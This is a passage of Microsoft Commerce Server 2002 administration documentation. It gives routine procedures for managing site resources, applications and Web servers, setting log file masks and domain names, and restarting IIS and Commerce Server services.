    Use this | To do this
    Site | Select the site for which you want to change the SQL Server password.
    SQL login name | Type the SQL Server login name.
    Password | Type the new password.
    Change connection strings in global resources used by this site Select this option to change the connection strings used by global resources which have SQL Server credentials.

    Note

    • If other sites use these global resources, they will be affected by this change.
  4. Click Change to activate the new Windows account or password.
  5. In the Verify Password dialog box, type the new password again, and then click OK.

    Commerce Server lists the resources that will be affected, including the global resources if specified, and changes the connection string properties.

  6. If a resource is using Windows Authentication, a message appears asking if you want to change to SQL Server authentication. To continue, click OK.


Deleting a Resource from a Site

If no applications are using a resource, you can delete the resource from your site.

The following table lists the results of deleting a resource from a site.

Resource | What does delete do?
App Default Config | Deletes the resource from the Administration database.
Profiles | Deletes the resource from the Administration database. Data in the Profiles database is not deleted.
Campaigns | Runs Schema_drop.sql, which deletes stored procedures, triggers, and drop tables. It also deletes the resource from the Administration database.
CS Authentication | Deletes the site reference to a CS Authentication global resource from the Administration database.
Data Warehouse | Deletes the site reference to a Data Warehouse global resource from the Administration database.
Commerce Server Direct Mailer | Deletes the site reference to a Direct Mailer global resource from the Administration database.
Predictor | Deletes the site reference to a Predictor global resource from the Administration database.
Product Catalog | Deletes the resource from the Administration database.
Transactions | Deletes the resource from the Administration database.
Transactions Config | Deletes the resource from the Administration database.

To delete a resource from a site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Right-click the resource to be deleted, and then click Delete.

Data for the resource is deleted from the Administration database. In Commerce Server Manager, the resource object no longer appears under the site. If you deleted a global resource pointer, the global resource it was pointing to is still available to other sites that are using it.

See Also

Resources

Adding a Resource to a Site


Deleting the Data Warehouse Resource

The Data Warehouse Configurator (DWC) unpacks two resources that require databases. These resources are Data Warehouse and Business Desk Permissions.

The Data Warehouse Configurator sets up both resources to the same database. By default the database is named <site name>_dw. This means that both Data Warehouse and Business Desk Permissions store data and stored procedures in <site_name>_dw.

If you delete the Data Warehouse resource and decide to delete the <site name>_dw database, you must also delete the Business Desk Permission resource because the database contains stored procedures for the Business Desk Permissions resource.

After you delete <site_name>_dw, you must recreate a database to associate it with Business Desk Permission. To recreate Business Desk Permission, you can remove and add the Business Desk Permission resource using Commerce Server Manager.

Note

  • When you remove the <site_name>_dw database, you will lose data. You must backup your database before removing it.

See Also

Data Warehouse Configurator


Configuring the App Default Config Resource

The App Default Config resource has properties that affect the functionality of your site and Commerce Server Business Desk. For example, you use the App Default Config resource properties to specify the currencies you support, and to specify payment options when you set up Commerce Server to integrate with Microsoft BizTalk Server 2000.

For information about configuring the App Default Config resource to use BizTalk Server, see Configuring Commerce Server to Work with BizTalk Server. For information about localizing a site, see Developing an International Site.

To configure the App Default Config resource

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Right-click App Default Config, and then click Properties.
  3. On the Properties tab, do the following:
    Use this | To do this
    Add item redirect options | Specify the site functionality that occurs after a user adds an item to the basket. Type 1 to continue displaying the current product page; type 0 to redirect to the basket page.
    Address Book Options Specify whether the site supports an address book feature.

    Type 0 to disable the address book.

    Type 1 to make the address book read-only. If you have a predefined address book, you may want to choose this option.

    Type 2 to make the address book read/write, so that users can add and change addresses.
    AuthManager Auth Ticket Timeout | Type the number of minutes after which the ticket times out. This property is used only if you are developing your site based on a Commerce Server Solution Site.
    BizTalk Catalog Doc Type | Type the document definition name that is required by BizTalk Server for catalogs (for example, CatalogTransferDoc).
    BizTalk Options | Type 1 to enable integration with BizTalk Server to exchange documents; type 0 to disable integration.
    BizTalk PO Doc Type | Type the document definition name that is required by BizTalk Server for purchase orders (for example, PurchaseOrder).
    BizTalk Source Org Qualifier | Type the alias qualifier for this site in BizTalk Server (for example, MyCompany).
    BizTalk Source Org Qualifier Value | Type the alias value for this site in BizTalk Server (for example, Sender).
    BizTalk Submit type | Type 1 to submit documents to BizTalk Server asynchronously.
    Cookie Path Correction Options | Type 1 to enable application-based correction; type 2 to enable filter-based correction.
    Currency: Alternate currency code | Type the ISO 4217 code for the alternate currency.
    Currency: Alternate currency conversion rate | Type the rate used to convert between the base and alternate currency.
    Currency: Alternate currency locale | Type the locale for the alternate currency (1031 = German, 1033 = English, 1034 = Spanish, 1036 = French, 1041 = Japanese).
    Currency: Alternate currency options | Type 1 to display two currencies simultaneously; type 0 to disable this feature.
    Currency: Alternate currency symbol | If you are using an alternate currency, type its symbol.
    Currency: Base currency code | Type the ISO 4217 code for the base currency.
    Currency: Base currency locale | Type the locale for the base currency (1031 = German, 1033 = English, 1034 = Spanish, 1036 = French, 1041 = Japanese).
    Currency: Base currency symbol | Type the symbol for the base currency.
    Currency display order options | If you use an alternate currency, type 0 to display the base currency first; type 1 to display the alternate currency first.
    Delegated admin options Type 1 to enable Partner Services; type 0 to disable it.

    To create a delegated administrator, in the Users module in Commerce Server Business Desk, you must create a user with the Partner service role flag set to "Administrator," and then associate the user with a specific organization.

    Delegated administrators have a Partner Services link on their site. Partner Services enables them to perform certain tasks for their organization, such as managing users and reviewing orders.
    Form login options Type one of the following to specify when users are required to log in to your site:

    0 = Disable login. Users can enter the site only as a guest.

    1 = Required when a user enters the site.

    2 = Optional when a user enters the site.

    5 = Required at the time of purchase.

    6 = Optional any time.

    7 = Require IIS authentication.

    This property is used only if you are developing your site based on a Commerce Server Solution Site.
    Host Name Correction Options | Type 1 to enable host name correction; type 0 to disable this feature.
    Page encoding charset | Specify the document encoding character set for the site (for example, Windows - 1252).
    Payment options Type 1 if users will pay for their orders using a credit card; type 4 if users will have their accounts billed; type 5 to support both options.

    Note

    • If you select payment option 4, guest users will not be able to purchase products through the Web site. To allow guest users to purchase with a Purchase Order (PO), you must comment out the lines surrounding the Guest user limitations in the GetPaymentMethodsForUser() function in the file <local drive>:\Inetpub\wwwroot\<site name>\include\payment.asp. For a code sample, see payment.asp.
    Site default locale | Type the locale for this site (1031 = German, 1033 = English, 1034 = Spanish, 1036 = French, 1041 = Japanese).
    Site privacy options Type 1 to profile anonymous users; type 2 to track anonymous user visits.

    Notes

    • Set this property to type 2 to disable the profiling of user visits.
    • This property is used only if you are developing your site based on a Commerce Server Solution Site.
    Site registration options Type 1 to enable self-registration; type 2 to disable this feature.

    This property is used only if you are developing your site based on a Commerce Server Solution Site.
    Site ticket options Type 1 to place the user ticket in the URL; type 2 to place the user ticket in the cookie.

    This property is used only if you are developing your site based on a Commerce Server Solution Site.
    SMTP server name | Type the computer name of the Simple Mail Transfer Protocol (SMTP) server.
    Unit of Measure for Weight | The unit of measure for calculating product shipping costs.
  4. Click OK.

Notes

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.
  • For information about how the Solution Sites use the authentication properties in the App Default Config resource, see the Commerce Server 2000 Resource Kit.

See Also

Resources

Integrating with BizTalk Server

Configuring Commerce Server to Work with BizTalk Server


Managing Commerce Sites

The Commerce Sites container, as it appears in Commerce Server Manager, is created when you install Commerce Server. When you unpack a site, site instances are created from a package for each site and appear as subfolders within the container. You add sites and site resources by using Commerce Server Manager and Commerce Server Site Packager.

This section contains:

  • Adding a Site. Explains how to add a site to Commerce Server.
  • Deleting a Site. Explains how to delete a site from Commerce Server.


Adding a Site

You add a site to Commerce Server by using Commerce Server Site Packager to unpack a site. For instructions, see Unpacking a Site.

Commerce Server does not limit the number of sites you can unpack. The number of applications a site can support is explained in this topic.

Commerce Server 2002 Standard Edition

Standard Edition scales to:

  • Two processors.
  • Two Web servers per application. Up to 10 applications are supported on a single IIS Web server.
  • Two Commerce Server applications per site: one Business Desk application and one non-Business Desk application. For example, you might install the Retail Solution Site application, or a non-Commerce application, and then the Business Desk application.
  • Ten sites per Data Warehouse.
  • Ten sites per Profiles database.

Commerce Server 2002 Enterprise Edition

Enterprise Edition scales to:

  • 32 processors
  • As many Web servers and Commerce Server applications as your hardware supports. Up to 10 applications are supported on a single IIS Web server. These applications can be contained in a single site, or distributed across many sites.
  • Ten sites per Data Warehouse.
  • Ten sites per Profiles database.

See Also

Sharing Resources Across Sites

Multiple Sites and One Data Warehouse

Deploying Multiple Sites and Share a Single Data Warehouse


Deleting a Site

When you delete a site, the site configuration data is deleted from the Administration database. After you delete a site, you cannot undo the deletion.

To delete a site

To delete the databases used by the site

To delete the OLAP databases for the site

To delete the virtual directories for the site

To delete the site folders and files

To delete the Direct Mailer jobs

To delete a site

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, and then expand Commerce Sites.
  3. Right-click the site to be deleted, and then select Delete from the drop-down list.

To delete the databases used by the site

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.

    Note

    • In SQL Server Enterprise Manager, make sure that SQL Server is running (the icon in the Enterprise Manager window displays a green light). If it is not running, right-click the name of the SQL Server computer, and then click Start.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Databases.
  3. Right click the database you want to delete, click All Tasks, and then click Detach Database.
  4. In the Detach Database dialog box, click Clear, and then click OK. Repeat this step for all of the databases you want to delete.

    By detaching the databases first, you can delete the connection strings you have to them.

  5. Use Windows Explorer to navigate to the folder \Program Files\Microsoft SQL Server\MSSQL\Data, and delete the database file.

    Important

    • You must delete the database file after detaching the database or your Commerce Server installation will not function properly.

To delete the OLAP databases for the site

  1. Click Start, point to Programs, point to Microsoft SQL Server, point to Analysis Services, and then click Analysis Manager.
  2. Expand the nodes to the following path: \Analysis Servers\SQL Server Name.
  3. Right-click the database you want to delete, and then click Delete.
  4. Click Yes to confirm folder deletion for each database you want to delete.
  5. Repeat Steps 3 and 4 for each database you want to delete.

To delete the virtual directories for the site

  1. Click Start, point to Administrative Tools, and then click Internet Services Manager.
  2. Expand the nodes to the following path: \<computer name>\<IIS Web site name>.
  3. Right-click the virtual directories you want to delete (for example, Retail or Supplier), and then click Delete.
  4. Click Yes for each virtual directory you want to delete.
  5. Repeat Steps 3 and 4 for each virtual directory you want to delete.

To delete the site folders and files

  1. Using Windows Explorer, navigate to the directory (for example, C:\Inetpub\wwwroot) where the site files are installed.
  2. Right-click the folder you want to delete, and then click Delete.
  3. Click Yes for each folder you want to delete.
  4. Repeat Steps 2 and 3 for each folder you want to delete.

To delete the Direct Mailer jobs

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Management\SQL Server Agent\Jobs.
  3. The Direct Mailer jobs appear in the right pane of SQL Server Enterprise Manager.
  4. Select the Direct Mailer job(s) you want to delete, and then click the Delete button on the toolbar.

See Also

Deleting a Resource from a Site

Deleting an Application from a Site

Removing a Web Server from an Application


Managing Commerce Applications and Web Servers

The topics in this section explain how to add and manage applications and Web servers. Before performing these procedures, you must install Commerce Server and unpack a site.

This section contains:

  • Adding an Application to a Site. Explains how to add an application to a site.
  • Adding a Business Desk Application to a Site. Explains how to add a Business Desk application to a site.
  • Configuring an Application. Explains how to configure an application.
  • Adding a Web Server to an Application. Explains how to add a Web server to an application.
  • Adding Another Web Server. Explains how to add additional Web servers to an application.
  • Configuring a Web Server. Explains how to configure a Web server.
  • Specifying a Web Server Log File Mask. Describes how to set the log file mask when you configure a Web server using Commerce Server Manager.
  • Specifying the Domain Name. Describes how applications are named in Commerce Server, and explains how to rename an application.
  • Unloading an Application from Memory. Explains how to unload an application from memory.
  • Restarting IIS and Commerce Server Services. Explains how to stop and restart Internet Information Services (IIS) 5.0, which is required to make changes to the CS Authentication resource properties.
  • Deleting an Application from a Site. Explains how to delete an application from a site.
  • Removing a Web Server from an Application. Explains how to remove a Web server from an application.
  • Automatically Adding a Web Server. Explains how a Web server is added to an application automatically.
  • Adding a Non-Commerce Application to a Site. Explains how to add a non-Commerce application and Web server.
  • Adding a Non-Commerce Web Server to an Application.


Adding an Application to a Site

An application is a group of Active Server Pages (ASP) scripts and components that perform tasks for a Web site. An application space represents the Web address that a Web client accesses. When you add an application to Commerce Server, the Administration database is updated with the configuration data for the application. When you add a Web server to the application, the ASP files are installed on the Web server computer.

When a Commerce Server site is unpacked, it typically installs two applications: one for the Web site that users access, and one for the Commerce Server Business Desk used to manage that site. An application can use only the resources of the Commerce site it belongs to.

An application includes its own Web servers, which in turn serve the ASP page content for the Web site. An application may include multiple Web servers; it always includes at least one Web server. You can set up an application at the root level of an Internet Information Services (IIS) Web site or at a virtual directory any number of levels below the root.

Note

  • Before performing this procedure, you must create a package file that contains the application you want to add to the site, or use one of the Solution Sites. For instructions about creating a package file, see Using Site Packager.

To add an application to a site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Click Applications, right-click Applications, point to New, and then click Add Application.
  3. In the Add Application From dialog box, select the package containing the applications you want to add to the site, and then click Open.

    Commerce Server Site Packager starts.

  4. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next.
  5. In the Select IIS Web Sites and Virtual Directories dialog box, verify that the IIS application paths and virtual directories are correct, and then click Next.
  6. In the Unpacking is complete dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events that occurred while Site Packager ran, click View Log File.
  7. To close Site Packager, click Finish.

After you add the application, you must change the non-secured (or secured) host name of your application to the domain name set up on the Domain Name System (DNS) server, for example, www.microsoft.com. For more information, see Specifying the Domain Name.

See Also

Adding a Business Desk Application to a Site

Specifying the Domain Name

Using Site Packager

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Adding a Business Desk Application to a Site

Commerce Server includes a Business Desk application in each Solution Site. When you unpack a Solution Site, you unpack the Business Desk Permissions resource, set the database connection string, and unpack the Business Desk application, thus adding it to the site.

You may want to add a Business Desk application to a site in the following situations:

  • You customize a second Business Desk application offline, while the original application is in use. When finished with development, you can then add the customized Business Desk application to the site, thus replacing the existing application.
  • You have two Business Desk applications for your site: one customized Business Desk for your staging environment, and another customized Business Desk for your production environment. For example, in the production environment Business Desk, you may not want to include the Catalogs modules so that catalogs cannot be updated without first being tested.

Each Business Desk application includes objects that detect the Business Desk Permissions resource. By default, all the Business Desk applications in a site share the same set of permissions. To maintain a separate set permissions for each Business Desk application, you must create separate sites that have separate security databases and Business Desk Permissions resources.

To add a customized Business Desk application to a site

  1. Package the new Business Desk application into a .pup file. For instructions, see Packaging a Site.
  2. Unpack the new Business Desk application, adding it to the site. For instructions, see Adding an Application to a Site.
  3. Manually migrate customized ASP files from the original Business Desk application to the new Business Desk application, as needed.
  4. Use the Business Desk Permissions module to secure any additional features in the Business Desk user interface. For instructions, see Setting Business Desk Permissions for Windows Accounts.
  5. Contact all Business Desk users and tell them to install the new Business Desk client.
  6. Delete the original Business Desk application.

For instructions about adding new Business Desk modules to a Business Desk application, see Automating Module Installation.


Configuring an Application

When you configure an application, you specify properties that apply to all the Web servers used by the application.

When you add a Web server to an application, some properties are automatically populated from Internet Information Services (IIS) 5.0 and stored in the Administration database. If the IIS properties change, you need to synchronize the Administration database with the IIS metabase by manually updating the new properties in Commerce Server Manager or by clicking the Synchronize Values button on the Web Servers tab in the Properties dialog box of the application.

The Synchronize Values button is only activated when Web servers in the application are using IIS option is selected on the General tab in the Applications Properties dialog box, and you have made changes using the IIS user interface. You can then use the Synchronize Values button to synchronize Commerce Server Manager with IIS.

Important

  • When you click the Synchronize Values button, Commerce Server synchronizes the properties at the application level and the properties for all the Web server objects below the application. For the properties at the application level, Commerce Server reads the values of the first Web server. It assumes that all the Web servers are configured the same, which is a requirement for servers in a Web farm.

For information about changing the non-secured (or secured) host name of your application to the domain name set up on the Domain Name System (DNS) server (for example, www.microsoft.com), see Specifying the Domain Name.

To configure an application

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to configure, and then click Properties.
  3. In the <application> Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Nonsecure host name Type the DNS domain name to use for non-secured links in your applications.

    Caution

    • If you are using a port number other than 80, you must append that number to the end of the nonsecure host name (for example, www.microsoft.com:81). To view or edit the port number, see the TCP Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.
    IIS application path | Type the path to the IIS application.
    Enable HTTPS Select this property to enable links to a secure HTTP host (SSL) in your applications.

    AuthManager uses this property; AuthFilter does not use it. If you are using AuthFilter, use the CS Authentication Login Form property to specify SSL for login pages. For more information, see Configuring the CS Authentication Resource.
    Secure host name Type the DNS domain name to use for secured links in your applications.

    Caution

    • If you are using a port number other than 443, you must append that number to the end of the secure host name (for example, www.microsoft.com:441). To view or edit the SSL port number, see the SSL Port box on the Identities tab of the Web Server Properties dialog box. For more information, see Configuring a Web Server.

    AuthManager uses this property; AuthFilter does not use it. If you are using AuthFilter, use the CS Authentication Login Form property to specify SSL for login pages. For more information, see Configuring the CS Authentication Resource.
    Autocookie | Select this property to generate cookies for anonymous users. This property is set during the unpacking process. For more information about configuring authentication on your site, see Securing Your Site.
    Authentication filter Select the type of authentication filter you want to use from the drop-down list. The options are:
    • No filter
    • Windows Authentication
    • Custom Authentication

    For more information about configuring authentication on your site, see Securing Your Site.
    Set cookie path to Application | Select this option if you want to share cookies among the applications in a site.
    Number of shared domain levels | Specify how many domain levels applications need in common in order to share a cookie. For example, for premier.microsoft.com and msn.microsoft.com to share the microsoft.com cookie, set the value to 2.
  4. On the Web Servers tab, click Synchronize Values to copy the properties from IIS to the Commerce Server Administration database.

    Note

    • The Synchronize Values button is only activated when Web servers in the application are using IIS option is selected on the General tab in the Applications Properties dialog box, and you have made changes using the IIS user interface.

    Or, do the following:

    Use this | To do this
    IIS Web site | Type the name of the IIS Web site (for example, Default Web Site).
    Local domain | Type the name of the local domain (for example, microsoft.com).
  5. Click OK.

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Configuring a Web Server

Securing Your Site

Specifying the Domain Name


Adding a Web Server to an Application

When you add a Web server to an application, you are adding the .asp, .htm, .gif, and other files for the application to the Web server computer. The Web server computer must already have Internet Information Services (IIS) 5.0 and Commerce Server installed on it.

To add a Web server to an application, you can use Commerce Server Site Packager. After you add a Web server to an application, the Commerce Web server object appears under the application node in Commerce Server Manager. The Web server object contains the properties needed by the Data Warehouse in order to import log files: server name, Internet Protocol (IP) address, log file path, and log file period. These properties are automatically populated from IIS when you add a Commerce Web server object to an application.

You can also add a new Web server to an application without using Site Packager. Instead, you can use Microsoft Application Center 2000 to deploy the Commerce Server files to the Web server, or you can manually copy Commerce Server files to the Web server. For more information about adding Web servers to Commerce Server without using Site Packager, see Adding Web Servers Without Site Packager.

Notes

  • Make sure you have permissions on the computer you are unpacking onto.
  • Before performing this procedure, you must create a package file that contains the ASP files for the application, or use one of the Solution Sites. For instructions about creating a package file, see Using Site Packager.

To add a Web server to an application

  1. On the Web server computer that you want to add to the application, expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Applications, right-click the name of the application to which you want to add the Web server, point to New, and then click Add Web server.

    The Add Web Server From dialog box appears containing a list of Commerce Server Site Packager files (that is, files with a .pup extension).

  3. In the Add Web Server From dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.

    Site Packager starts.

  4. In the Select IIS Web Sites and Virtual Directories dialog box, verify that the IIS application paths and virtual directories are correct, and then click Next.

    Site Packager adds the files to the Web server, and then adds the Commerce Web server object to the selected application. When you open Commerce Server Manager, the Commerce Web server object appears under the application.

  5. In the Unpacking is complete dialog box, review the list of SQL databases and IIS applications that were created. To review the list of events in the Pup.log file, click View Log File.
  6. To close Site Packager, click Finish.

See Also

Configuring a Web Server

Adding Another Web Server


Adding Another Web Server

When you add another Web server to an application, you are not able to change any of the configuration information for the application during the unpacking process because all Web servers must have the same configuration. Commerce Server Site Packager displays the name of the Internet Information Services (IIS) 5.0 Web site where the application will be installed and the IIS application path for each Commerce application.

When you choose to unpack an application that already exists in the site in the Administration database, Commerce Server Site Packager assumes you are adding a Web server to that application.

See Also

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-clustered Configuration

Adding a Web Server to an Application


Configuring a Web Server

In Commerce Server Manager, the Commerce Web server objects contain properties needed by the Data Warehouse in order to import log files. When you add a Web server to an application, these properties are automatically populated from Internet Information Services (IIS) 5.0 and stored in the Administration database.

Notes

  • When the Web servers in this application are running IIS box in the Application Properties dialog box is selected, you can only use either the New log file period or Log file mask property; you cannot use both properties.
  • If the Synchronize the log file name and location box on the Application Properties dialog box is selected, the value in Log file directory box in the Web Server Properties dialog box is overwritten with the value in IIS.
  • The Synchronize Values button is activated only when Web servers in the application are using IIS option is selected on the General tab in the Applications Properties dialog box, and you have made changes using the IIS user interface. You can then use the Synchronize Values button to synchronize Commerce Server Manager with IIS.

To configure a Web server

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, then expand the application that contains the Web server you want to configure, right-click the Web server object, and then click Properties.
  3. In the <web server> Properties dialog box, on the Identities tab, do the following:
    Use this | To do this
    Server name | Type the name of the computer on which the Web server is installed. Change the name only if you have renamed your server.
    Identities | This box displays the Internet Protocol (IP) address for the Web server, the TCP port, and the host header name. These values are initially read from IIS.
    SSL Identities | This box displays the IP address and SSL port for the Web server. These values are initially read from IIS.
  4. On the Log Files tab, do the following:
    Use this | To do this
    New Log Time Period | Specify how long the IIS Web site writes to a log file before it creates a new file. This value is initially read from IIS.
    Log file mask | If needed, specify a custom log file rotation, indicating how long the IIS Web site writes to a log file before it creates a new file. For more information, including examples of what to type in this box, see Specifying a Web Server Log File Mask.
    Log file directory | Type the log file path to which the IIS Web site writes events (for example, C:\Winnt\System32\LogFiles\Log1). This value is initially read from IIS. However, you may want to specify a different directory if you copy the Web log files from the Web server to a central location before you run the import DTS tasks.
    Log file code page This box displays the code page used by the entire file.

    IIS 5.0 supports System code pages. Future releases of IIS will support UTF-8.
    URL encoding code page This box displays the code page used for all URLs.

    IIS 5.0 supports System code pages. Future releases of IIS will support UTF-8.
  5. Click OK.


Specifying a Web Server Log File Mask

A log file mask is a property that specifies what Web server log file names will be as they are rotated over time, or based on file size. For example, a daily Internet Information Services (IIS) log file rotation is specified as exyymmdd.log: the log file name will have a prefix of "ex", a two-digit year, a two-digit month, and a two-digit day. You set the log file mask when you configure a Web server using Commerce Server Manager.

User should append an extension to the end of their file mask, for example, add ".log" at the end of a mask for most cases.

Rules for log file masks

  • Fixed strings can be appended any where in the log file mask.
  • Log file masks support directory-level masking.
  • Do not use the following characters in the log file mask: : | * ? < > / "
  • Log file rotation can be specified in the mask. The following table lists log file mask values that specify rotation.
    Log file mask | Description | Example
    0 | Extended file names
    1 | IIS daily rotation | ex$y$m$d.log
    2 | IIS weekly rotation | ex$y$m$w.log
    3 | IIS monthly rotation | ex$y$m.log
    4 | IIS hourly rotation | ex$y$m$d$h.log

    The following table lists the characters to use when you specify the log file mask.

    Character | Description
    $M | Full month name (Only English names are supported)
    $m | Month 01-12
    $d | Day of the month 01-31
    $h | hour 00-23
    $y | 2-digit year 00-99
    $Y | 4-digit year
    $w | Week of the month 01-05
    $n | For sequential numbering to support IIS extended log file names (only single digit numbers).
    $N Same as $n but for all numbers with one or more digits.

    This should be the last mask before the file extension.

    Strings not starting with numerals can proceed $N.

Sample Log File Masks

Sample 1

If you rename the IIS W3C extended log files so that the server names are prefixed to the log file name, the log file names might look like the following for daily rotation:

Server1_ex010810.log

Server1_ex010811.log

To retrieve these log files for import, type Server1_ex$y$m$d.log in the Log file mask box.

Sample 2

If you select the "Unlimited file size" or "when file size reaches certain size" option in IIS logging properties, then the file names will be in the format extend#.log, that is, extend1.log, extend2.log, and so on.

To retrieve these log files for log import, type extend$n.log in the Log file mask box.

Sample 3

The Log file mask box can also include a directory. To pick up log files from the folder e:\logs\server1\extend1.log, for example, you can specify one of the following in the Log file mask box:

  • If the Log path is e:\logs\server1\, type extend$n.log in the Log file mask box.
  • If the Log path is e:\logs\, type server1\extend$n.log in the Log file mask box.
  • If the Log path is e:\logs\, type server$n\extend$n.log in the Log file mask box.

See Also

Configuring an Application

Adding a Non-Commerce Application to a Site


Specifying the Domain Name

You must change the non-secured (or secured) host name of your application to the domain name set up on the Domain Name System (DNS) server, for example, www.microsoft.com. Commerce Server does not automatically read the domain name from DNS; instead, Commerce Server uses the computer name as the default domain name. You must provide the domain name to Commerce Server using the following procedure.

When you first unpack a site, your applications are named with the computer name (for example, Server1) and the Internet Information Services (IIS) 5.0 application paths that you specified during the unpacking process (for example, /msn). For example, the application name might be Server1/msn.

For each application in your site, you must rename the application with your domain name. For the application www.microsoft.com/msn, the domain name is www.microsoft.com and the IIS application path is /msn.

To specify the domain name

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to rename, and then click Properties.
  3. In the <site> Properties dialog box, on the General tab, do the following:
    Use this To do this
    Nonsecure host name Type the domain name, the same way it appears in your DNS server (for example, you might change it to www.microsoft.com).

    Caution

    • If you are using a port number other than 80, you must append that number to the end of the nonsecure host name (for example, www.microsoft.com:81). To view or edit the port number, see the TCP Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.
    IIS application path Type the path to the IIS application. For example, for the application www.microsoft.com/msn, the path would be /msn.

    Caution

    • If you change this property, you must change the location of the files on the Web server(s) to correspond to it. You must also configure IIS with the new application.
  4. Click OK.

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.


Unloading an Application from Memory

In Commerce Server, each site is an application under Internet Information Services (IIS) 5.0. After you change the value of a property in Commerce Server Manager, you must unload the IIS applications from memory on each Web server in order for the change to take effect. The caches created by the Commerce Server global.asa file are released; when the next user visits your site, the resource properties are read again and loaded into the cache.

Unloading an application from memory is different from restarting IIS or using the IISReset command. Restarting IIS unloads all Web applications from memory, restarts the IIS service and refreshes the cache. However, the advantage of unloading an application from memory, using the procedure below, is that property changes take effect without stopping all applications on your Web server. However, certain configuration changes require that you restart the IIS service, or other services. For more information, see Restarting IIS and Commerce Server Services.

You must unload an application from memory when you perform any of the following tasks:

  • Configure a global resource
  • Configure a site resource
  • Configure App Default Config
  • Configure an applicaton
  • Set up a domain name

Important

  • When you make changes to the CS Authentication resource, which is a global resource, however, you must restart IIS. For instructions, see Restarting IIS and Commerce Server Services.

To unload an application from memory

  1. In the Internet Information Services snap-in, select the root of the IIS Web site, or the starting point directory of the application.
  2. Right-click the directory (for example, Default Web Site), click Properties, and then click the Home Directory tab.

    Note

    • If the Unload button is not available, you are not in the starting point directory for the application or the application is already unloaded.
  3. Click Unload.

    The following message may appear: "Unloading this application will unload all applications in the application pool. Are you sure you want to continue?"

  4. Click Yes if the message appears.

The application is unloaded from memory. The next time a user visits your Web site, the new property values are read when the application is loaded into memory.

See Also

Restarting IIS and Commerce Server Services

Configuring a Global Resource

Configuring a Site Resource

Configuring the App Default Config Resource

Configuring an Application

Specifying the Domain Name


Restarting IIS and Commerce Server Services

When you make changes to the properties used by the CS Authentication resource, you must stop and then restart Internet Information Services (IIS) 5.0. Likewise, when you use Commerce Server Manager to make changes to Commerce Server global resources, you must restart the effected CS Service.

This topic contains:

  • Restarting IIS
  • Restarting CS Services

Restarting IIS

When you make changes to the properties used by the CS Authentication resource, you must stop and then restart IIS. Restarting IIS unloads all Web applications from memory, restarts the IIS service and refreshes the cache. Therefore, when restarting IIS, it is not necessary to also unload an application from memory.

You must restart IIS when you perform any of the following tasks in the CS Authentication resource:

  • Configure CS Authentication resource properties
  • Enable cookie sharing across domains/applications
  • Enable AuthFilter
  • Disable AuthFilter

This topic describes two ways to restart IIS:

  • Restart IIS using IISReset. This is the easiest way to restart IIS, because this command also restarts dependent services such as file transfer protocol publishing service (FTP), network news transport protocol (NNTP), and simple mail transport protocol (SMTP). However the IISReset command does not work in all circumstances; see the note below.
  • Restart IIS using the net stop and net start commands. This procedure works in all circumstances. However, you are required to perform more steps such as restarting dependent services as separate steps.

Note

  • Under certain conditions, the IISReset command does not stop and then start Inetinfo.exe (W3SVC service). For example, if the W3SVC service has been configured for manual start instead of automatic, it will not be restarted. In this case you should use the procedure described in To restart IIS using Net Stop and Net Start.

To restart IIS using IISReset

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type IISReset and then click OK.

    A command prompt window opens displaying the status of the IISReset command.

    Note

    • It is recommended that you read the status in the command prompt window to ensure that IIS stops and restarts. If IIS fails to stop using this command, then use the procedure described in To restart IIS using Net Stop and Net Start.

For more information about the IISReset command, type IISReset /? at the command prompt.

To restart IIS using Net Stop and Net Start

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type net stop iisadmin and then click OK.

    A command prompt window opens displaying the following message:

    The following services are dependant on the IIS Admin Service service, also referred to as IISADMIN. Stopping the IIS Admin Service service will also stop these services.

    Notes

    • The list of services that are displayed in the command prompt window vary depending on which services are installed on the computer running IIS.
    • You must restart each of the dependent services listed in the command prompt window as stated in step 6.
  3. At the prompt, "Do you want to continue this operation?" type Y, and then press [Enter].

    IIS stops. Note that both the iisadmin and w3svc services are stopped using the command from step 2 above.

  4. Click Start, and then click Run.
  5. In the Open box, type net start w3svc, and then click OK.

    IIS starts. Note that both the iisadmin and w3svc services are restarted.

  6. Repeat steps 4 and 5 to restart each dependent service that you noted in step 2.

The following table lists the most common services that are dependent on the iisadmin service.

Dependent Service | How to start
File transfer protocol publishing service (FTP) | Type net start msftpsvc.
Network news transport protocol (NNTP) | Type net start nntpsvc.
Simple mail transport protocol (SMTP) | Type net start smtpsvc.

Restarting CS Services

When you use Commerce Server Manager to make changes to Commerce Server global resources, you must restart the effected CS Service. For example, if you change a Commerce Server Predictor property, then you must restart the PredictorService service.

Friendly Name of the Service | Service Name
Commerce Server Predictor | PredictorService
